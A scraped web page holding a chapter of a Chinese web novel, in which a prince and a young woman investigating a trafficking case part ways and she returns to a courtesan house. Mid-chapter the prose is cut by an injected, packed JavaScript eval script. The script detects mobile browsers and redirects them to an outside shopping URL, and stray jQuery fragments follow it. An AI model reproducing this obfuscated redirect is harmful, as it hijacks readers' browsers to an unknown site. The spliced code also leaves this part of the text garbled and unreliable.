文趣网 > 其他小说 > 暗香寻踪录 > 15.情网
    林霁睡到天光大亮,日上三竿,有人敲门时才醒来。

    她发现在萧湛这古榕巷子的别院,总会更易安眠,小小一桩院落,藏于闹市之中,干净雅致幽静,她特别喜欢。

    平日并无丫头婆子在此处看管,仅厨娘每日来做餐食,她和惊羽各住在南边和西边的屋子,东边更大更亮堂的屋子,萧湛偶有不愿回宫的日子,便住在那里。

    她披上外衣,打着哈欠去开门,还未看清门口之人,便道了一声“早”。

    “过来用饭吧!”萧湛穿戴整齐,早已洗漱完毕的模样。

    “你昨夜没回宫啊?”

    “你也说是昨夜,宫墙就那样轻易翻吗?”

    “你这个王爷当的真是快活,宫里不都是规矩很多吗?你怎如此自由?”

    萧湛倚着门框抬眼看天,癫着脚尖:“因为我是燕王殿下…”

    林霁“嘁”一声,朝他翻了个白眼。

    燕亲王怎会自由?他在别院歇息一晚,外头不知有多少暗卫值守,萧湛也察觉她在别院总是睡得香甜,不想扰她清梦,未让她发现而已。

    “你今日…便回遏云楼?”

    林霁大快朵颐吃早饭,只点了点头算是回答他的问话,全然没在意他的欲言又止。

    萧湛也慢条斯理的用饭,咽下口里的春卷,问道:“你这次又拿何借口骗过苏挽月?”

    惊羽听此,“噗”一下把刚喝的一口粥喷在了石桌上,嘿嘿的笑出了声,三人此刻不约而同的想到她当初回遏云楼的情景。

    她声泪俱下地对苏挽月控诉,萧湛将院里的丫头婆子淫了个遍。

    从此萧凌公子的名声与形象彻底崩塌,放眼过去这座院落,连头母猪都没有,何来丫头婆子。

    林霁将眼睛翻得生疼,咬着下唇瞪惊羽。

    转过头,又谄媚萧湛:“哎呀,这次的借口果真不太好找呢!要不我…我说跟你大吵一架,腻了你?”

    她放下碗筷,满眼期待地瞅着萧湛。

    萧湛:“…”

    他仍旧不紧不慢地吃餐食,嘴里的食物越嚼越细,心里叹了叹,你从未将我放在心上,腻不腻的又如何?或许待这件拐卖案结案后,你当真会毫无留恋地离开吧!

    可若她想走,能去哪里呢?明明…明明她的身世一片空白。

    他又想到林霁第一次瞧见靳燃的眼神,仿佛眼睛里一下子装进了星星,亮亮的。

    又回想到上次在遏云楼,为不暴露身份,她险些陪别的郎君春宵一度,若不是他及时赶到,她那看似很怂的性子,实则也能豁得出去。

    萧湛思绪如麻,越想越觉他这一腔倾慕之情不知从何而起,眼下却已一往情深。

    可那小娘子对他好似并无情意。

    往日她的吃味儿,逗趣他,他以为是她对他有意。

    他也曾抱过她,亲过她的头发,明明她也很依赖他。

    可是…他愈发看不清她到底有多少情意。

    “喂,你想什么呢?眉头怎地越皱越紧?”林霁拿根木筷在他眼前晃了晃。

    “无事。”

    萧湛放下碗筷,站起身,盯着水缸里的一株将要凋谢的金莲,身影略显落寞。

    林霁觉得他那情绪跟夏日的天气似的,阴晴不定。

    “对了,上次我说让你查关于沈清荷的身世,这几日我竟给忘了,你当真没查吗?”

    “…”萧湛沉默片刻,开口道:“查了。”

    林霁急问道:“如何?她家人何时来接她?”

    这次,萧湛沉默的时间更久,继而口气平静地道:“她父母亲不会来寻她了。”

    “为何?!”

    “她是与情郎私奔离家,家族又非当地望族,她父母膝下无子,家里仅剩一幼妹。”

    林霁心下了然,将眼睛也定在那株将谢的金莲上。

    萧湛继续道:“你晓得的,不孝有三,无后为大,她父母在族内本就尊严尽失,遭人诟病,她又作出私奔之事,眼下更是在族里抬不起头,据我派出的探子来报,她父母已向族人宣布与她断绝关系,她已非沈家女儿,沈家只当她是已死之人。”

    林霁右手松松的握成拳头,拇指却重重的摩擦着食指指关节,关节处赤红一片。她后牙槽紧紧咬合着,嘴唇撅起,嘴角向下绷住,那表情委屈至极,似是被爹娘遗弃的是她,而非沈清荷。

    萧湛捏了捏她两侧脸颊,企图把那耷拉的嘴角扬上去。

    拉起她的手,朝她指关节处深红的皮肤吹了吹。

    轻哄道:“她虽被爹娘舍弃,所幸遇见了你,你会放弃她吗?”

    林霁急急地摇头,忆起当初在静室里,沈清荷想回家的渴望和坚定,亦忆起她那日说代自己去陪客的决然。

    “我能将帮你查案的事告知她吗?”

    “你倘若觉得她是信任之人,便可以,不过还是莫要将我真实身份过多暴露给旁人。”

    林霁点点头:“我现在就回遏云楼!”

    “莫急,我还有事交待你!”

    林霁把眼里泛起的水汽眨掉,静静地等着他交待事情。

    “查案虽要紧,却紧不过你人身安全。在遏云楼不可莽撞行事,务必护好自己,有事要及时禀报我,这是其一”

    “其二,不可…为了查案子探消息,去陪客人饮酒作乐…睡觉。”

    林霁被他那难以言说的神情逗得心里一乐,好似在说他这要求是有些过分但你必须要遵守。

    果不其然,萧湛下一句是…

    “你要答应我!”

    “…”她挠挠头,掩饰面上的尴尬,吞吞吐吐道:“我怎会…轻易做那种事!”

    “那也未可知!”

    萧湛叹口气,这小娘子眼睛敏锐如鹰,聪慧又心有大爱,怎对感情如此迟钝?是当真如木头般不通情思,还是故意视本王的爱意而不见?

    罢了罢了,眼下并非讲究情爱之时,案子一日未结,儿女情长都如那水中浮萍,飘忽不定。

    林霁已收拾完包袱从屋内出来,对萧湛道:“我走啦!”

    “马车已在门外,路上当心。”

    她看向萧湛,萧湛也正不错地看着她,似有不舍,她只不过是回遏云楼,两人之间怎像爱侣似的难舍难分?但她此刻非常想抱萧湛一下,她也这么做了。

    她张开双臂,踮起脚尖,搂紧了萧湛的脖子,把脸埋在他的脖颈里,鼻间瞬时充斥了他的气息,她深深地吸了一口,心里安定不少。

    她又觉萧湛身形一顿,继而两条手臂紧紧地搂住她腰身,耳边响起他的声音:“护好自己,莫让我担忧。”

    林霁抬起头,兄弟般拍拍他的后背,像是安抚。

    待林霁走后,萧湛仍杵在那儿,惊羽见状,停下手里用匕首雕刻的小人。

    “啧,殿下,你掉进她的情网啦!”

    “咦,我看她无甚情意呢,脑子里装的不是被拐卖之人,就是案子嫌疑人。”

    “哎,日后圣上会给你赐婚吧?你可怎么办呐!”

    惊羽如老妈子般絮絮叨叨,摇了摇头,似乎判定他俩之间没戏。

    又动作起手里的物件,他手握匕首一刀一刀刮刻着木雕,萧湛只觉那匕首是在刮自己的皮肉,那小崽子看似关心的话语,却句句戳他的心窝子。

    萧湛的心凉了又凉,冷冷地说:“你要不回师父那里去吧!”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780069|207235||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    惊羽手里匕首一顿,立马闭上了嘴,嘿嘿陪笑道:“其实…我瞧着她并非对你无意,只是她那木鱼脑袋还未开窍!”

    他心里稍觉安慰,又问惊羽:“她身世当真查不到?师父也无办法?”

    惊羽耸耸肩,算作回答。

    莫非当初她说的是真话,她真是从另一个世界而来?

    萧湛这厢思绪万千,百结愁肠。

    林霁那厢已到遏云楼,正招呼鸣蝉和吉奴往屋子里搬东西。

    见苏挽月朝她走来,眼神在她身上稍稍打量,脸上并未显出惊诧之意。

    林霁上前一把搂住苏挽月,亲昵地笑道:“月姐,我可想死你了!”

    苏挽月拍开她的手,疑道:“这几日功夫便回来了?你又作了什么事惹萧公子动怒?”

    林霁眼珠转动,灵光一闪找了个理由:“我…我揍了他正盛宠的小妾。”

    说完从腰间拿出一个小巧精致、如脂似膏的白玉如意赠与苏挽月。

    苏挽月眉眼带笑,接过赠礼,让她不必拘束,可还似往日那样在遏云楼住着,弹一弹琵琶便可。

    林霁回到屋子内,又赠了些小玩意儿给鸣蝉和吉奴。

    一盏茶的功夫,沈清荷便急着赶来了,拉着她的胳膊,左右看看上下瞅瞅,见她没有少胳膊断腿受伤挨打,用帕子捂着胸口道:“阿弥陀佛,你无碍便好。”

    林霁粘着沈清荷,不顾她阻止,也给了她一个拥抱,不似给苏挽月那样,而是带着心疼和真诚的抱了抱沈清荷。

    “清荷,你这些日子好吗?”

    她把眼睛埋在沈清荷肩膀上,闷闷地问,不敢直视沈清荷,亦不敢道出她已无法回家的事实。

    “我尚好,无甚大事,你不在这些时日,我跟方棠她们几个仍旧日日跑步呢!”

    林霁听闻,心情大好,暂且不提她父母与她断绝关系的事,她无法想象沈清荷若知道真相会做出什么事来,毕竟人总得有个念想和希望。

    “当真?”

    沈清荷当即在她面前表演了一段标准的蛙跳,又走到廊内向上跳跃,双手便抓住了廊上的横梁。

    “太好了!”林霁雀跃不已,在沈清荷耳边小声说,“待明日,我教你们一些女子的防身之术!”

    遏云楼的女子,在那些恩客眼里从来都是美艳风情的玩物,只要缠头给够,便觉想如何玩就玩个尽兴。

    何人会心疼一个玩具?玩坏了再换一个便是!何人又会对一个玩具有尊重?

    日子久了,这些女子无论当初是因何来到遏云楼,亦或当时如何反抗,能活下来的,便向命运低了头,屈从于现实,默认了自身是男人们的玩物,这才是最最令人可悲可叹之处。

    林霁若要扭转这些可怜女子的思想,并非一日之功。不如先教与她们一些防身的法子,若日后遭遇侵犯或反抗那些男人们的不合规矩之举,也可免受凌虐之苦。

    “萧公子待你当真不好吗?我瞧他温柔雅正,不像那登徒子之流。”沈清荷关切地询问。

    林霁回遏云楼,她们姐妹之间朝夕相处自然是好,倘若林霁能寻到庇护,受心爱之人钟情那自是再好不过。

    这天下遭情郎哄骗抛弃之人,仅她一个便够了。

    林霁笑了笑,没搭话,她从包裹里拿出一锦盒,打开盒盖,里面是一支上等的紫毫。

    她素来知沈清荷写了一手簪花小楷,平日心情苦闷多以写字排解。

    “赠卿紫毫,愿卿腕底生花,纸上落烟霞。”她把锦盒递与沈清荷。

    又对沈清荷说道:“其实…我在助萧公子查拐卖案。”

    待日后案子破了,我们或许都可回家去。